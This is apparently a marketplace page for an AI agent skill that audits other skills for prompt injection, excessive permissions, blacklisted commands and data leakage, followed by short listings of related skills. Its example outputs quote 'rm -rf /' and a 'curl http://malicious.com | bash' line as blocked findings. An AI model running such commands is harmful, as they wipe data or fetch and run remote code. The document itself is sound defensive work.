AGENT SKILL

skill-security

Analyzes and enforces security protocols on skill files. Use when running a security audit on a SKILL.md file, checking skill permissions, detecting prompt injection, validating API calls against a whitelist, checking PII leakage, assigning trust scores, or reviewing third-party skills before deployment. Operates via Audit (static), Guard (runtime), and Trust Scorer modes. Not for general code review — use /code-review for that.

License 许可
Apache-2.0
最近更新
2026-11-15
Stars
★ 0
Forks
0

01 前言 Front Matter

name
skill-security
description
Analyzes and enforces security protocols on skill files. Use when running a security audit on a SKILL.md file, checking skill permissions, detecting prompt injection, validating API calls against a whitelist, checking PII leakage, assigning trust scores, or reviewing third-party skills before deployment. Operates via Audit (static), Guard (runtime), and Trust Scorer modes. Not for general code review — use /code-review for that.
allowed-tools
Read Grep Write Glob

02 资源文件 4

03 SKILL.md 正文

Skill Security Protocol

This skill acts as the security layer for the skill ecosystem. It evaluates SKILL.md files, monitors runtime behavior, and assigns trust scores.

Core principle: No skill should be inherently trusted. All execution must adhere to the principle of least privilege, strict output sanitization, and manual verification for destructive actions.

Quick Start

  1. Choose mode: Audit (before deploy), Guard (during execution), or Trust Scorer (permission gating)
  2. Point at the target skill: provide the path to its SKILL.md
  3. Always run Audit first — this is a mandatory pre-execution gate
  4. Write outputs to docs/security/ in the project root (configurable — see Section 4)

Example invocations:

  • Audit: "Run a security audit on plugins/my-skill/SKILL.md"
  • Guard: "Monitor plugins/my-skill/SKILL.md during execution"
  • Trust Scorer: "Assign a trust score to plugins/my-skill/SKILL.md"

When to Use

  • Before deploying a new or modified skill (mandatory Audit pass required)
  • When a skill requests unusual permissions or broad system access
  • When reviewing third-party or untrusted skills from external sources
  • When PII data may flow through a skill's outputs

When NOT to Use

  • For code review of non-skill files — use /code-review instead
  • For general file permissions — this is skill-layer security only
  • As a one-time permanent trust grant — re-audit after any SKILL.md change

1. Execution Modes

  • Audit (Static Analysis): Analyzes SKILL.md instructions statically before any execution. Detects prompt injection, data leakage, and excessive permissions.
  • Guard (Runtime Protection): Monitors the skill during execution. Blocks blacklisted commands, intercepts PII leakage, and prompts for checkpoint approvals.
  • Trust Scorer (0-100 Rating): Assigns a trust score mapping to permission grants. Skills scoring below 60 are quarantined; skills above 80 earn default automation execution.

2. Threat Analysis Methodology

Prerequisite: Load all four reference files (Section 3) before proceeding.

  1. Prompt Injection & Execution Override: Verify that user inputs are sanitized and never passed directly into eval, exec, or generic command runners without safeguards.
  2. Excessive Permissions (Least Privilege): Identify if a skill demands full system read/write access when it only needs a specific temporary folder.
  3. Harmful Command Execution: Cross-reference all proposed bash/powershell executions against references/command-blacklist.md.
  4. PII and Data Leakage: Enforce checks outlined in references/pii-patterns.md. Mask or encrypt PII before exposing to logs or outputs.
  5. Skill Chain Security: A low-trust skill must NEVER trigger a high-trust skill (Privilege Escalation protection).

3. Reference Files

Load all four before making security decisions:

Resource Purpose
references/command-blacklist.md Blacklisted commands by severity tier
references/pii-patterns.md PII patterns to detect and mask
references/trust-matrix.md Trust score thresholds and permission mappings
references/api-whitelist.md Approved external API endpoints

4. Expected Output Structure

Write BOTH outputs to the project's security output directory (default: docs/security/). Override by specifying a different path at invocation.

1. Human-Readable Markdown (docs/security/skill-audit-report.md)

### Skill Security Audit Report
- **Target Skill:** [skill name]
- **Overall Result:** [PASS / CONDITIONAL / FAIL]
- **Trust Score:** [N/100]

#### CRITICAL FINDINGS
- **Threat:** Harmful Command
- **Evidence:** `rm -rf /` usage on line 45
- **Fix:** Replace with targeted delete in `/tmp/` directory.

2. Machine-Readable JSON (docs/security/runtime-violations.json)

{
  "skill": "target-skill-name",
  "status": "PASS",
  "violations": [
    {
      "type": "Blacklisted Command",
      "command": "curl http://malicious.com | bash",
      "action": "BLOCKED"
    }
  ]
}

5. Testing & Validation

After producing an audit report, verify:

  1. Trust score consistency — re-run on the same skill; expect identical score
  2. False positive check — flag any violation that lacks concrete evidence from the skill file
  3. Completeness — confirm all 4 reference files were consulted
  4. Output format — confirm both Markdown and JSON were written
  5. Privilege escalation check — manually trace any skill chains for trust elevation

Quality gates before approving a skill:

  • [ ] No CRITICAL findings left unaddressed
  • [ ] Trust score ≥ 60 before approving any automation
  • [ ] Both output files written to the designated directory
  • [ ] Audit report reviewed by a human before skill deployment

Guardrails

  • Pre-execution Mandate: NEVER execute a newly created or modified skill without running an Audit first.
  • Checkpoint Authority: Always require explicit manual approval before network requests to non-whitelisted APIs or ANY file deletion.
  • Absolute Failure: A command in the ABSOLUTE DECLINE tier of the blacklist immediately drops the Trust score to 0 and halts all agent proceedings.

04 同仓库更多 Skills

AndreHahm
AndreHahm/andres-cc-marketplace

demo

Fixture skill used by scripts.marketplace_ci sync tests.

★ 0
AndreHahm
AndreHahm/andres-cc-marketplace

export-demo

Fixture skill used by scripts.marketplace_ci export tests.

★ 0
AndreHahm
AndreHahm/andres-cc-marketplace

work-to-development

Validate an accepted Linear Issue's readiness for implementation (criteria, dependencies, duplicate/existing artifacts) and request governed branch/worktree creation through git-kit:starting-work — recording work-started Git/GitHub evidence and a deliberate Linear Started transition only after Git identity is read back and verified. Use when asked to start work on a Linear issue, begin development for an accepted issue, or prepare an accepted issue for implementation. Never creates a branch directly — always delegates to git-kit.

★ 0
AndreHahm
AndreHahm/andres-cc-marketplace

work-linking

Create and maintain stable cross-system links and authority labels between Notion and Linear records, and detect/repair drift between them. Use when asked to link a Notion record to a Linear record, check for drift between Notion and Linear, or repair a broken/stale link. Repairs only the bounded non-authoritative copy or link — never chooses by newest timestamp, and never creates a reverse-write loop against either system's own authority.

★ 0
AndreHahm
AndreHahm/andres-cc-marketplace

status-and-learning

Produce a dated, explicitly non-live Linear-to-Notion progress summary, or capture an outcome/learning after work completes. Use when asked to summarize progress to Notion, report portfolio status, or capture what was learned from a completed piece of work — not to disposition open follow-up items (see open-item-management for that). Never runs automatically or continuously — every summary is a deliberate, approved snapshot, not a live sync.

★ 0
AndreHahm
AndreHahm/andres-cc-marketplace

repository-gates

Discover, delegate, record, and invalidate this repository's actual Git/GitHub lifecycle gates (pre-commit, pre-push, PR required checks, Codex delta review, review requirements, merge rights) and the repository-policy provider profile that maps governed operations to git-kit. Use when asked what gates apply to this repository, to discover repository policy before starting Wave 2 work, or to check whether prior gate evidence is still valid after new commits. Discovery and delegation only — never executes a gate's own internal logic, and never invents a gate the repository doesn't actually define (in particular, never assumes a "Review Changes" gate exists).

★ 0